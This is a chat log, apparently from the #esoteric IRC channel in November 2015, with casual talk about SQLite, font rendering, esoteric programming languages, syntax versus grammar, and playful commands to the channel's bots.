22:59:49  i don't know much of the sqlite internals but where is the button that produces chocolate chips
23:00:42  god someone tell me the truth behind design patterns already
23:01:22  mauris: I don't know!
23:01:35 -!- J_Arcane has joined.
23:01:49  izabera: I think SQLite does not have the button to produce chocolate chips.
23:02:11  i'm being forced to use ~the observer pattern~ and also ~MVC~, to make a space invaders clone in c++
23:02:18  zzo38: WTF
23:02:22  HOW CAN THIS BE
23:03:25  izabera, maybe you can submit a patch
23:03:35  does the non lite version have them?
23:03:44  You would need some other equipment to produce chocolate chips, but if you would want to you might be able to make SQLite extension to drive such a machine.
23:04:12  mauris: the observer pattern is required to collapse the wave function hth
23:04:34  : D
23:05:05  izabera: There is no "non lite" version, although there is a paid version that adds support for encryption and compression (you can still do these things with the free version too although you would have to implement such a VFS yourself unless someone else has already made such a free VFS for such purpose); it doesn't add chocolate chips though
23:05:50  mauris: what happens if you apply the observer pattern to a heated kettle of water (or milk)?
23:06:40  ...who puts milk in the kettle?
23:06:42  Many things can be done with extensions, although some things should need to be applied to the core in order to work properly (except for json_aggregate which would be applied to an existing extension and not to the core)
23:06:52  Probably object-oriented programmers
23:07:49  An extension can implement a virtual table module, although there are some things that virtual tables currently do not do; I suggested what improvements could be made.
23:08:19  Much of what I wrote is only about the public API and not about the internals anyways (although the internals clearly would need to be modified in order to implement such things).
23:12:47  has oerjan come unstuck in time?
23:20:10 -!- boily has joined.
23:22:11  bongiornoily
23:25:11  buongiornoily*
23:26:10  Ach
23:26:15  I need to step up my Italian
23:26:25  By which I mean, I need to actually learn Italian
23:31:16  inglourious basterds is not enough?
23:33:19  Tanelle!
23:33:30  (safely addressing you in the vocative case.)
23:33:37  izabellora!
23:35:39  \helloren\, b_jellonas, chelloppro, ellodwardk, Firellofly, fizziello, fungellot, Greghellor, int-ello, J_Arcanello, Jafellot, lifthellorasiir, helleu, Hellymia, mhellauris, Mellolvar...
23:36:44  mynamello, nellortti, hellocharles__, hellørjan, hellolsner, Phantom_Helloover, pikhelloq, QUINTHELLOPIA, Sgello, hellochaf, shellokhin, trellomp, tswellott, hezzo38!
23:38:31  If I learnt Italian, I could ask my information theory teacher to tutor me in his native language, which he can't possibly be less eloquent in
23:39:18  but would you be able to do so in time?
23:39:55  italian is easy
23:40:08  just add o at the end of each word
23:40:13  italian -> italiano
23:40:44  next, wanna try spanish?  add s at the end of each italianized word
23:40:48  italian -> italianos
23:43:28  what about Portuguese?
23:43:51  nji at the end
23:44:32  i'm not even exaggerating that much
23:46:17  nji?
23:46:38  and for Norwegian, you add in some ø I guess...
23:46:44  italianøsnji.
23:51:41  :D
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2015-11-13:

00:02:24 -!- Mrlemons has quit (Ping timeout: 246 seconds).
00:06:35  bouena notte
00:06:47  hm, buona* maybe
00:07:12  yeah, buona notte. darn, the one phrase I learned in Italian, and I forgot it
00:18:20 -!- hppavilion[1] has joined.
00:19:11  I just had an idea for an update for WalText2
00:21:13  If anyone's curious
00:21:37  How about... izabera?
00:21:57  i don't know what it is
00:22:32  `? waltext
00:22:33  waltext? ¯\(°​_o)/¯
00:22:35  `? waltext2
00:22:35  waltext2? ¯\(°​_o)/¯
00:22:40  neither does HackEgo 
00:22:40  izabera: It's a vector font renderer for my own custom format. I made it for WalrusOS, which is an EsOS
00:23:16  hppavilion[1]: you seem to have an unhealthy affinity towards walruses. walrii. walrusseses.
00:23:27  `le/rn waltext2/WalrusOS's vector font renderer. See "WalText2i" for the improved version.
00:23:30  Learned «waltext2»
00:23:42  `? waltext2i
00:23:43  waltext2i? ¯\(°​_o)/¯
00:23:43  boily: I very much do. What's your point.
00:23:48  izabera: Not created yet
00:23:57  WalText2i is the update I had an idea for
00:24:18  walrusi
00:24:36  hppavilion[1]: chickens are better, nah!
00:24:45  In WalText2, you create forms by declaring points (and other significant numbers) that it should be drawn based on. A line might be written as "LINE 0 0 15 12"
00:25:17  But that has some syntactic problems; namely, in "0 0 15 12", there's nothing associating "0 0" and "15 12" as x/y points.
00:25:44  Well, you know how complex numbers can be represented as a point in the complex plane?
00:26:06  I went there. I have no regrets.
00:26:48  (I'm kind of tempted to self-quote those last two lines, but I'm afraid of looking arrogant)
00:27:17  izabera: So yeah. That's a bit eso, I suppose, but not really /that/ eso, as I'm just dealing with syntax.
00:27:22  On to the next feature:
00:27:36  Expressions. Not only that, expressions that can have randomness associated with them.
00:28:07  So, for example, you can use the complex conjugate of a number to make sure things line up. You can add points together.
00:29:50  what's random about that?
00:29:54  Also, you can use the ~ binary operator to choose a random integer. 0~3 chooses a random number between 0 and 3 (inclusive) for you, so you can emulate human error in your fonts (the numbers are chosen on each drawing, so the tidle of an i or j might be in a different position on each letter)
00:30:06  izabera: That's not the random part, the other part's the random part
00:31:07  Inefficient, perhaps (I'll probably add an option in the renderer to cache the expression results which would derandomize the positions, but run faster)
00:31:19  But it'd be pretty cool
00:31:33  i don't like most existing fonts, what makes you think that generating them randomly is such a good idea?
00:31:59  What if you want to prerender then?
00:32:50  izabera: You aren't generating them randomly exactly; you're allowing the font designer to make slightly more random positioning to make the letters look more varied. Not good for, say, monospace, but good if you want to make a less uncanny valley comic sans
00:32:55  One thing that can be done is if you want to render to PK or GF, an option to render each character multiple times
00:33:26  zzo38: I'll probably do that if I make a PK or GF converter for WTII
00:33:39  zzo38: Define prerender for me. I'm a noob at rendering, so I'm just fumbling around here
00:34:37  To convert into PK or GF you need to prerender everything in the intended output device's resolution, so the source file will still be needed if you want to be able to use it with multiple resolutions
00:35:14  (Also you need only one of PK or GF; you can easily convert between them using "pktogf" and "gftopk" programs)
00:37:19   italianøsnji. <-- italiensk hth
00:38:57  zzo38: Ah. If you want to prerender, it just chooses a random number on load and sticks with it.
00:39:06  s/load/compiling/
00:39:25  `le/rn waltext2/WalText2 is WalrusOS's vector font renderer. See "WalText2i" for the improved version.
00:39:29  Learned «waltext2»
00:40:01    italianøsnji. <-- italiensk hth <-- it may be so in the Real Worlds, but it's not as interesting :)
00:40:09  oerjan: Couldn't come up with a joke when I was making that xD
00:40:22  s,s\,,\,,
00:41:10  boily: nji isn't particularly norwegian.
00:41:37  afaik, it's Portuguesish.
00:41:55 * boily hides behind izabera
00:41:58  oerjan: døn't you sæy
00:43:12  or snj, really, although there are enough norse names starting with nj that you could imagine it in a compound.
00:43:34  METAFONT does the same, it choose a random number on load (although you can specify the random number seed explicitly if wanted, too)
00:43:56  hppavilion[1] == knuth undercover
00:45:00  If you use any random numbers in your METAFONT input file, then the log file will include the random number seed in use so that you can repeat the same results again if you want to do so.
00:45:11  izabera: knuth doesn't waste time by coming on #esoteric, he just asks esr and ais523 to do the work for him
00:45:28  *to
00:45:28  this explains so many things
00:45:31  I met Hoare the other day
00:45:42  Hoare?
00:45:47  the author of quicksort
00:45:55  Yes, that Hoare
00:46:10  Ah. That Hoare.
00:46:18  Can't keep track of all the famous people in CS.
00:46:23  He presented a public lecture at my university
00:46:33  About Pioneers of Computer Science
00:46:44  Which... had Euclid as the second-most recent (spoilers)
00:46:51  Hence my topic of thought 23 hours ago
00:47:06  he started it with a slide that just said "YOU'RE ALL NOOBS COMPARED TO ME"
00:47:17  He seemed a really nice guy
00:47:18  Haneb
00:47:23  do you have a pooch
00:47:47  No but my parents have one and my brother has a puppy
00:48:43  maybe esr and ais523 are the same person...
00:49:03  Do I know esr?
00:49:41  Eric S. Raymond.
00:49:55  Is that a person who comes on IRC?
00:50:24  not on this channel but he probably spen(ds|t) a fair amount of time on irc
00:50:49  Aaaah, fair enough
00:51:10  also shame on you for not knowing him
00:51:20  I am not good at names
00:51:32  I only know my own name because I come from a clan of supervillains
00:51:52  Taneb doesn't sound like a supervillain name
00:52:15  his real name is Nathan van Doom hth
00:52:28  (modulo keming)
00:52:40  Taneb, he's the crazy right-wing open source guy
00:52:57  also the creator of C-INTERCAL.
00:53:26  Oh, that guy!
00:53:27  stallman's arch enemy
00:53:40  That's where the name was familiar from!
00:54:40  And yes, Nathan van Doom is approximately my name
00:59:29  Doom doom doom ♪
00:59:31  I'm starting a league of people who are almost supervillains
00:59:44  So far it's got me and a Mr Mascetti
01:01:05  norwegian -sen names aren't very good for supervillainery :(
01:01:29  Isn't your name the Norwegian equivalent of George Johnson
01:01:36  yes
01:02:37  Not very villainous at all
01:02:46  That's a bystander name at best, I am afraid
01:02:47  george johnson by day, evil baron von terroristan by night
01:03:12  well one of the equivalents.  Georg Hansen, Jørgen Jonsen, Jørn Johannesen ...
01:03:48  Georges Fitzjean?
01:04:17  i'm talking about norwegian-sounding equivalents here, boily 
01:04:35  oh, not oerjanequivalents. my bad.
01:04:55  well sure they're all cognate to my name
01:04:57  I thought you were translating to other scandinavian languages.
01:05:47  no, that would be Göran Johansson and Jørgen Jensen
01:05:57  oh i forgot jensen, that's norwegian too
01:06:03 <\oren\> jensen?
01:06:09  but more stereotypically danish
01:06:15  my first name directly translates as 'ruler of the world' so as a child i felt like i had some heavy expectations heaped on me
01:06:39  In what language does it mean that?
01:06:53  what kind of parents..
01:07:14 <\oren\> My last name is watson and someone always makes a sherlock holmes joke
01:07:28  elementary \oren\ 
01:07:41 <\oren\> yes that one...
01:07:42  FireFly: gaelic afaiu
01:08:05  Fancy, I also want a gaelic name
01:08:09  I'm cataloging common meanings for characters (e.g. $ in stacky languages means DROP)
01:08:22  IIRC mine means dove, which is p. boring
01:08:29  X in english means X
01:08:33  Mine means "gift"
01:08:43  Taneb: Gift from God, to be exact
01:08:50 -!- mihow has quit (Quit: mihow).
01:08:52  hppavilion[1], that's Jonathan
01:08:58  Which is not my name
01:09:01  I'm trying to decide whether to sort the pages primarily by Unicode block or by language type
01:09:18  Taneb: I'm a Nathan too, and I'm pretty sure it means Gift from God, from the last time I checked
01:09:21  Hm, I had a very distant relaive called Natan (I think he spelled it that way)
01:09:24  Maybe it varies by nation xD
01:10:01  I protect men, according to my name.
01:10:13  So which should I sort it by?
01:10:40  Also, is anyone curious about my 8 pages of arbitrary character-to-procedure associations for Getchl yet? xD
01:10:55  focus on actually developing it
01:11:01  hppavilion[1], apparently it can be translated has "He has given"
01:11:15  With He being God
01:11:32  Hebrew is not a language I am familiar with
01:11:32  izabera: Getchl or the Unicode Blocks? I already developed most of getchl and am just procrastinating initial testing.
01:12:07  My parents called me "Nathan" because they didn't know any Nathans
01:12:28  Taneb: I think that's what my parents went with too; look for a name that isn't used as much
01:12:49  Then they kept meeting Nathans all over the place
01:12:52  Or maybe that was my third cousin's parents. Definitely them, but maybe my parents too
01:12:52  a friend of my dad died and that's how i got my name
01:13:01  Taneb: That tends to be how it works.
01:13:05  The florist at my christening was called Nathan
01:13:22  My brother got his name because my parents looked at him and thought he looked like a Benjamin
01:13:45  i remember my parents saying they consulted some family member who spoke irish to make sure they used the least pronouncable spelling
01:13:46  So I think I'll sort the pages primarily by language type
01:13:56  Phantom_Hoover: Really? That's awesome.
01:14:05  Phantom_Hoover: if you say so, donald
01:14:16  that's pretty eso
01:14:42  Phantom_Hoover: is it still pronounced the same btw
01:14:46  oerjan, no
01:14:52  it rhymes with 'tonal'
01:15:08  ah
01:21:34  Phantom_Hoover, how did you end up as "Phantom_Hoover", if I may ask?
01:22:11  i thought it was funny when i was about twelve, i think
01:24:56  i have my grandpa's name, but with a fresh 90s twist to its spelling!! it's quite uncommon
01:25:29  mauris, my dad has a variant of his uncle's name
01:25:34  "but ever so hip"
01:25:57  Maurice?
01:26:49  boily: yeah. then my parents botched the -ce and decided putting an 's' there was The Future
01:27:14  the Future is Now!
01:28:12 -!- mauris has quit (Read error: Connection reset by peer).
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01:29:41  Should change my legal name to include this caret IMO
01:30:07  mauris^: mauris: Definitely
01:31:45  @tell mroman  but I don't know how to proof it formally :( <-- look at the position of the last s, minimize the part before, and use the fact that optimal representations of two neighboring representatble numbers cannot differ by more than 1 in length
01:31:46  Consider it noted.
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01:34:41  mauris^: wait i assumed it was some flemish variant of mauritz
01:35:03  is it pronounced flemish or french
01:35:22  [wiki] [[ADDI]] N http://esolangs.org/w/index.php?oldid=45342 * Hppavilion1 * (+1626) New language time! This one a reincarnation of UniLang
01:36:49  Nope, it's a unique variation on the French 'maurice'! It's pronounced the Flemish way, [mo'RIs] where R is your favourite r consonant
01:37:24  don't the flemish agree on what R is?
01:38:17  (the norwegians don't either fwiw)
01:38:36  Not really. Some say [r] and some say [UPSIDE DOWN R HERE THANKS]
01:38:42  [wiki] [[ADDI]] M http://esolangs.org/w/index.php?diff=45343&oldid=45342 * Hppavilion1 * (+52) Added an optional reader head to the data model
01:38:50  I'm in the latter camp, I.e. Uvular trill
01:39:09  A terrifying sound, I hear
01:39:37  trill or flap?
01:39:52  (the latter is less terrifying)
01:39:56  Trill!
01:39:57  [wiki] [[ADDI]]  http://esolangs.org/w/index.php?diff=45344&oldid=45343 * Hppavilion1 * (-11) Removed comments from the grammar, as they should be handled by the lexer
01:41:00  oerjan, apparently the English don't either. I can pronounce r in two ways that sound identical to me but feel different (and are in fact different)
01:42:00  how do you know which one you're pronouncing?
01:42:07  Different mouth shape
01:42:32  One is strictly speaking a [ʋ]
01:42:55  wait portuguese has uvular rs?
01:59:52  I've just made IF and WHILE operators
02:00:30  (? and @)
02:03:04  They both work by evaluating their second argument contingent on their first
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02:08:58  [wiki] [[ADDI]]  http://esolangs.org/w/index.php?diff=45345&oldid=45344 * Hppavilion1 * (+189) Lists and sets; empty available
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02:12:22  [wiki] [[ADDI]]  http://esolangs.org/w/index.php?diff=45346&oldid=45345 * Hppavilion1 * (+87) Bools, rearranged EBNF
02:15:05  If you output TFM/GF/PK from a font program, one thing that needs to be done is to calculate a checksum. The algorithm you use to calculate it is unimportant, as long as it does not depend on the device resolution or any random numbers or the file format used for output. Zero may also be used if you do not need or want a checksum.
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02:17:54  Anyone read the ADDI page yet?
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02:19:05  I will look now.
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02:39:07  This language is turning out nicely
02:39:21  zzo38: I take it you were too disgusted by the google docs link to check?
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02:41:38  zzo38: If I ever get my hands on a website, I promise to publish future documents as OpenOffice.
02:41:49  Or perhaps as PDFs
02:41:56  (Exported from GDOCs)
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02:46:57  I checked only the wiki page, which does not say much and has no example programs.
02:47:52  zzo38: Well I haven't finished formulating the language yet
02:48:21  zzo38: The langauge is, essentially, a list of operator expressions. Not even functions are allowed.
02:52:31  [wiki] [[ADDI]]  http://esolangs.org/w/index.php?diff=45347&oldid=45346 * Hppavilion1 * (+473) Made page remotely close to good.
02:54:53  I could see that in the description at least
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03:05:00  [wiki] [[ADDI]]  http://esolangs.org/w/index.php?diff=45348&oldid=45347 * Hppavilion1 * (+351) Special variables, example programs, zzo38
03:11:58  How about a nanny mcphee-like language? One that encourages good programming practices by allowing you to do bad things, but having arbitrary and awful rules when you do
03:14:42  You could try
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03:19:25  zzo38: Nah. Sounds boring, really
03:20:09  OK then don't try.
03:20:24  lol zzo
03:20:31  what you working on?
03:22:28  I am working on DVI->PBM program.
03:23:48  Other programs such as foo2zjs and so on can then be used to drive printers that use host-based printing.
03:23:57  pbm is image file isnt it?
03:24:43  Yes
03:25:20  That is how host-based printing works; it needs to generate the picture on the computer and then send to printer.
03:26:37  (The printer I now have does not support PCL so I am doing it this way instead; it can be useful for other printers and other purposes too though)
03:30:40  what is pcl?
03:31:34  PCL is a printer format for many Hewlett Packard laser printers, as well as some printers by other manufacturers too.
03:33:35  [wiki] [[Do loop until failure or condition else]] M http://esolangs.org/w/index.php?diff=45349&oldid=45250 * Hppavilion1 * (+34) Categorized
03:36:50  [wiki] [[Arithmetic while]] N http://esolangs.org/w/index.php?oldid=45350 * Hppavilion1 * (+341) Created Page as filler, really
03:38:38  [wiki] [[Goto-when]] N http://esolangs.org/w/index.php?oldid=45351 * Hppavilion1 * (+265) Created page as MOAR filler
03:40:10  wtf
03:40:33  this is not how we use the wiki...
03:45:33  quintopia: What? Creating stubby pages, or making filler pages (although the ideas were valid ones)?
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03:48:09  quintopia: Or do you mean that the pages aren't esolangs, but instead components that could be used for esolangs?
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04:49:13  I expect my program can work with troff as well, as long as you can make PK fonts. (This program does not require that the units of measurement match those of TeX; any units can be used, which is needed if troff is used since troff does not use the same units as TeX.)
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05:35:56  Do you know what fonts are needed to print man pages with grodvi?
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06:45:39  I still need a good name for DequeCLI
06:47:22  I got a SIGILL from _dl_x86_64_restore_sse from _dl_fixup from _dl_runtime_resolve from the following code:    fp = fdopen(pipefd[0/*read*/], "r");
06:47:53  Do you know what is wrong? It only did that once; when I tried again I could not repeat the problem.
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07:10:09  [wiki] [[Möbius]] N http://esolangs.org/w/index.php?oldid=45352 * Hppavilion1 * (+1546) Started on design
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07:25:56  Apparently deadfish proofs are not so easy.
07:26:04  http://46.4.207.77/deadfish-outline.pdf
07:26:18  Nearly got to int-e's lemma, though.
07:28:18  what generates that?
07:29:02  Jafet: i'm pretty sure the difficulty there isn't with deadfish hth
07:29:38  The izabera theorem prover
07:29:45  http://isabelle.in.tum.de/
07:29:57  Jafet: i don't think that was his lemma.
07:30:22  or rather, one of the numbers is supposed to be 1
07:30:50  That was the one I didn't get to.
07:31:35  oh wait you're actually defining a metric there.
07:32:06  well, int-e's lemma is just as special case of the last one there.
07:32:16  er
07:32:25 * oerjan needs brain
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07:33:46  Jafet: actually you just need that + costDF x y <= |y-x| if 256 is not between them
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08:27:13  oh Jafet is an isabelle user
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09:53:05  fnordel
09:53:10  @massages-load
09:53:10  oerjan said 8h 21m 24s ago:  but I don't know how to proof it formally :( <-- look at the position of the last s, minimize the part before, and use the fact that optimal representations of two neighboring representatble numbers cannot differ by more than 1 in length
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10:19:28  fungot, do you know how to prove it formally? minimize the part before.
10:19:29  b_jonas: pastebin.ca is mind-bendingly slow for me in t? just an object that is in the classpath, ( require-library ' sisc/ libs/ srfi
10:20:49  fungot: Could you fix all bugs. Just, everywhere? 
10:20:49  fizzie: it can be done
10:20:56  Sounds good.
10:21:17  fungot: but keep the ascended bugs untouched please
10:21:17  b_jonas: i'm a research assistant that writes models are usually a pain in the ass.... you got the pyc files for me? :)
10:21:34  fungot: no, but you can generate them quickly with python anyway
10:21:35  b_jonas: room kill point, but my irc client stated to use 99% cpu idle box with nice -20
10:21:53  fungot: right, there's your first bug you have to fix
10:21:53  b_jonas: lost some history and philosophy of r5rs. this makes me fnord is slow as shit
10:22:21  fungot: Maybe you should try an IRC client not written in Funge+ 
10:22:25  fizzie: but yes, could optimize it to fit cs stuff. :)
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10:58:37  fungot: You have been unproven.
10:58:38  mroman: your analogy is wrong.
11:00:00  Wait.. it lost the philosophy of r5rs
11:00:02  how dare it.
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11:55:31 * boily pokes fungot
11:55:31  boily: now to sleep. hope to see this
11:55:40  @localtime fungot
11:55:40  boily: for what does iterate walk code?
11:55:55  @localtime \oren\
11:55:56  Local time for \oren\ is Fri Nov 13 06:55:38 2015
11:56:28  fizzie: make the 'got answer to localtime twh
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12:16:01  boily: Sometimes I answer it manually with ^raw.
12:16:29  tw.
12:16:40  ^style
12:16:40  Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube
12:16:52  fungot: Your local time is currently GMT hth hand
12:16:52  fizzie: check the topic in the minibuffer in erc. it's hard to get stuff from the front
12:16:57  fungot: Any more details about that weird language 'or'?
12:16:57  mroman: in case you're inside a loop when you wanna test 0 in mycology that is? :p
12:17:19  `? internet
12:17:20  internet? ¯\(°​_o)/¯
12:17:26  `? al gore
12:17:27  Al Gore invented the algorithm.
12:18:01  `le/rn al gore/Al Gore invented the algorithm and the internet.
12:18:04  Learned «al gore»
12:18:06  `? al gore
12:18:07  Al Gore invented the algorithm and the internet.
12:18:09  `wisdom
12:18:11  sgeo/Sgeo is a language nomad. (Not to be confused with a language monad.) He invented Metaplace sex, thus killing it within a month. He was Doctor Mengele in his previous life, as evidenced by his norn experiments.
12:18:22  `wisdom
12:18:23  quote/Quotes are just elements of the quantum dilapidated bogosphere. See qdb.
12:18:25  Local time for fungot is no time for that
12:18:32  `? cennabite
12:18:33  cennabite? ¯\(°​_o)/¯
12:18:37  `? qdb
12:18:38  qdb is used like: `quote; `quote regexp; `quote id; `addquote ...; `delquote id; `pastequotes regexp; `pastenquotes [n]; see also quoteformat
12:18:38  `? cenobite
12:18:38  `? lotus
12:18:39  lotus? ¯\(°​_o)/¯
12:18:39  cenobite? ¯\(°​_o)/¯
12:18:45  `wisdom
12:18:47  wercome/エソテリックプログラミング言語のディザインとデプロイメントの国際な場所へようこそ！詳しく、ウィキを見て：　http://esolangs.org/wiki/Main_Page。（他のエソテリック、irc.dal.netの#esotericへ）
12:18:50  `wisdom
12:18:51  zomgmodules/ZOMGMODULES is both a small blonde veterinarian and just modules over the ring of ZOMGs.
12:19:06  `? norn
12:19:07  norn? ¯\(°​_o)/¯
12:19:07  Taneb: Tanelle. Did you tanebvent the ZOMGMODULES?
12:19:13  `? pastel
12:19:14  pastel? ¯\(°​_o)/¯
12:19:16  `? pony
12:19:17  I don't think so
12:19:18  pony? ¯\(°​_o)/¯
12:19:19  `? ponies
12:19:19  b_jonas: you know what your duty is.
12:19:20  ponies? ¯\(°​_o)/¯
12:19:21  Only d-modules
12:19:34  ah! I had the conflagrated in my mind.
12:19:38  s/the/them/
12:19:56  `? cennobite
12:19:57  cennobite? ¯\(°​_o)/¯
12:20:05  b_jonas: only one 'n' I think.
12:20:06  `? cenobite
12:20:07  cenobite? ¯\(°​_o)/¯
12:20:12  `? cennabyte
12:20:14  cennabyte? ¯\(°​_o)/¯
12:20:19  boily: yes, it's "Cenobite"
12:20:19  `? cinnabar
12:20:21  cinnabar? ¯\(°​_o)/¯
12:20:30  `? cinober
12:20:31  cinober? ¯\(°​_o)/¯
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12:20:53  lul
12:20:57  `? cinnamon
12:20:58  cinnamon? ¯\(°​_o)/¯
12:21:08  i always miss him in the morning
12:21:37  `? force
12:21:38  force? ¯\(°​_o)/¯
12:21:42  `? awakened
12:21:43  awakened? ¯\(°​_o)/¯
12:22:44  `? star
12:22:45  star? ¯\(°​_o)/¯
12:22:47  `? wars
12:22:48  wars? ¯\(°​_o)/¯
12:22:50  `? war
12:22:51  war? ¯\(°​_o)/¯
12:22:54  `? love
12:22:55  love? ¯\(°​_o)/¯
12:23:39 -!- mauris has quit (Ping timeout: 240 seconds).
12:25:07  `? yoda
12:25:08  yoda? ¯\(°​_o)/¯
12:25:09  `yoda
12:25:10  ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: yoda: not found
12:30:55  `le/rn yoda/Yoda's oration, disordered always.
12:30:58  Learned «yoda»
12:33:25  Proper yodaism I don't think that is. End with the verb the sentence must.
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12:34:36  `? Jogurth
12:34:37  Jogurth? ¯\(°​_o)/¯
12:35:09  `? Jogurth is the german word for a special kind of belt while doing Yoga.
12:35:10  Jogurth is the german word for a special kind of belt while doing Yoga.? ¯\(°​_o)/¯
12:35:20  `? Jogurth is the german word for a special kind of belt worn while doing Yoga.
12:35:21  Jogurth is the german word for a special kind of belt worn while doing Yoga.? ¯\(°​_o)/¯
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12:57:14  A point that's good you make.
12:58:41  `le/rn yoda/Yoda object-verb dialogue adopts.
12:58:44  Learned «yoda»
13:01:49  Hmm, it's even OSV.
13:09:16  [wiki] [[ResPlicate]]  http://esolangs.org/w/index.php?diff=45353&oldid=43846 * Quintopia * (+0) /* Truth-machine */
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13:30:01  The lord of life and dash.
13:52:06 -!- mauris has joined.
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13:54:15  subversion has reverse blame since 1.8 or since 1.9?
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13:57:25  (if only there was a way to find out when a feature was added)
14:01:03  1.9 client, but requires 1.8 or later server
14:03:46  WHAT THE HECK?
14:04:37  I don't have stack space for this many nested problems when trying to fix another problem
14:08:02  `? intrustion
14:08:03  intrustion? ¯\(°​_o)/¯
14:08:05  `? intrusion
14:08:05  intrusion? ¯\(°​_o)/¯
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14:15:52  You don't own the pineapple, you are the pineapple.
14:16:17  also every time I read a pdf with large font this terminal font looks ridiculously small.
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14:19:50 -!- the has joined.
14:20:05  hii
14:20:06  `cat bin/welcome
14:20:07  ​#!/usr/bin/perl -w \ if (defined($_=shift)) { s/ *$//;  s/ +/ @ /g; exec "bin/@", $_ . " ? welcome"; } else { exec "bin/?", "welcome"; }
14:20:13 -!- the has changed nick to Guest56621.
14:20:36  `run ls bin/@
14:20:38  bin/@
14:20:40  ?
14:20:58  `cat bin/relcome
14:20:58  ​#!/bin/sh \ welcome "$@" | rainwords
14:21:06  `cat bin/wercome
14:21:07  ​#!/usr/bin/perl -w \ if (defined($_=shift)) { s/ *$//;  s/ +/ @ /g; exec "bin/@", $_ . " ? wercome"; } else { exec "bin/?", "wercome"; }
14:21:30  `ls bin/?wercome
14:21:31  ls: cannot access bin/?wercome: No such file or directory
14:21:38  `cat bin/?
14:21:39  ​#!/bin/sh \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/nooodl/;s/ *$//") \ topic1=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "$topic1" = "ngevd" \) -a \( -e ngevd \) ]; \     then cat /dev/urandom; \     elif [ -e "$topic" ]; \     then cat "$topic" | rnooodl; \     elif [ -e "$topic1" ]; \     then cat "$topic1" | rnooodl; \     
14:21:48  `? wercome
14:21:49  ​エソテリックプログラミング言語のディザインとデプロイメントの国際な場所へようこそ！詳しく、ウィキを見て：　http://esolangs.org/wiki/Main_Page。（他のエソテリック、irc.dal.netの#esotericへ）
14:21:58  oh so welcomes are wisdoms
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14:26:32  [wiki] [[Aubergine]]  http://esolangs.org/w/index.php?diff=45354&oldid=34878 * Quintopia * (+62) /* Examples */
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14:27:02  0
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14:28:53  Do you know a language without syntax?
14:29:16  A language isn't a language without a syntax and grammar?
14:30:17  [wiki] [[Truth-machine]]  http://esolangs.org/w/index.php?diff=45355&oldid=45234 * Quintopia * (+120) /* Implementations */
14:30:28  if i get the term 'syntax' right
14:30:32  [wiki] [[Truth-machine]]  http://esolangs.org/w/index.php?diff=45356&oldid=45355 * Quintopia * (-1) /* Aubergine] */
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14:53:07  mromanes eunt domus!
14:57:27  mroman: i would say if there are no rules which the syntax must follow, then it is pretty much the same as no syntax
14:58:14  e.g. if there's no such concept as "a well-formed sentence"
14:58:31  I would say that 3SP qualifies
14:59:43  so
14:59:45  then deadfish?
14:59:50  and perhaps any language consisting only of no-argument commands in which no commands need matching commands
14:59:59  deadfish would probs qualify
15:00:43  ResPlicate may qualify, if one chooses to call it a "language"
15:02:15  most 2D languages don't have requirements such as "brackets need to match"
15:02:21  if that qualifies as "no syntax" as well.
15:03:02  but "brackets need to match" is grammar, not syntax actually :)
15:03:25  that distinction seems pretty blurry to me
15:03:27  "isdo" are instructions, rest is comments is already a syntax
15:03:37  quintopia: I don't know where exactly the line between syntax/grammar is.
15:03:47  I think that's an arbitrary line more or less.
15:04:06  syntax is a subset of grammar
15:04:09  except for syntax is what the lexer uses, grammar is what the parser uses
15:04:10  dealing with word order
15:04:15  but actually syntax is just a subset of grammar
15:04:19  agreed.
15:04:19  so
15:04:30  insisting that [ come before ] is syntax
15:04:46  insisting that every [ have a corresponding ] is grammar
15:05:01  well
15:05:23  integer = ? digit ?, { ? digit ? }
15:06:01  may be equally well part of the syntax or the grammar
15:06:37  binExp = integer, "+", integer
15:07:16  well
15:07:17  I found someone saying "A grammar is a set of rules that define the syntax for a particular language."
15:07:20  syntax defines terminal symbols
15:07:24  grammar defines non-terminal symbols?
15:08:31  i even have now found a distinction between "syntax grammar" and "semantics grammar"
15:09:03 -!- mauris has joined.
15:09:09  the syntax defines what a valid terminal symbol is, and the grammar defines how you can build non-terminal symbols out of terminal symbols
15:10:55  although technically, integer wouldn't be a terminal symbol in this example?
15:11:02  If I remember the definition correctly :D
15:11:19  digit would
15:11:21  "Pragmatically, anyone who relies on a distinction between "syntactic" and "grammatical" had better say so and explain what they mean."
15:11:37  The "lexical syntax" term is often used for that sort of syntax.
15:12:56  So, in some sense, any language that does not specify how you are allowed to arrange symbols is both syntax-less and grammar-less
15:13:09  (up to what constitutes a single symbol)
15:13:09  also compilers will tell you "syntax error" if you have unbalanced brackets
15:13:12  and not "grammar error"
15:13:15  therefore
15:13:20  grammar does not exist, only syntax.
15:13:29  there is a grammar
15:13:33  which defines the syntax
15:13:47  yeah
15:13:57  but grammar would be on a semantical level then
15:14:29  there is presumably also a system (e.g. type system) to define semantic grammar
15:14:36  A terminal symbol is where you can find a ✈ symbol.
15:16:03  A bad pun symbol is where you can find oerjan's ===\___/ symbol
15:16:10  I think linguists have a different definition of syntax/grammar
15:16:23  not too different
15:16:45  "Ich den Hund mag" is a grammatical error
15:16:53  "Ich mag den Huhnd" is a spelling error.
15:17:00  and I guess spelling errors are syntax errors
15:17:23  that is a difference, yes
15:17:55  a grammarian would not consider a spelling error to be a syntax error, since syntax is about the arrangement of words, not the symbols that constitute them
15:18:10  but a programming language designer would consider it a syntax error
15:18:23  maybe
15:18:34  "esle" would be parsed as an identifier.
15:18:38  I would say spelling error are lexical errors, and both lexical and grammar errors are syntax errors
15:18:53  so depending on where you make the error it's actually not a syntax error but a semantical one
15:20:22  oh well.. whatever
15:20:32  I'm not qualified to discuss this topic :D
15:20:42  [wiki] [[Cardinal]]  http://esolangs.org/w/index.php?diff=45357&oldid=19561 * Martin Büttner * (+25) 
15:20:50  I'm only qualified to discuss indentity functions.
15:21:04  Is there something like diff -b that also ignores changes in whitespace at the start of line, but not in the middle of words
15:21:07  ?
15:21:11  `wisdom diff
15:21:12  find: `wisdom/*diff*': No such file or directory \ /cat: : No such file or directory
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15:40:11  `` echo "hello ($_)"
15:40:12  hello (bash)
15:40:26  `` /bin/echo "hello ($_)"
15:40:27  hello (bash)
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16:12:38  Awww, I don't pronounce "reform" like in the topic
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16:16:07  Here was the Tony Hoare lecture I went to the other day: https://www.youtube.com/watch?v=kz7DfbOuvOM
16:44:55  It is quite interesting
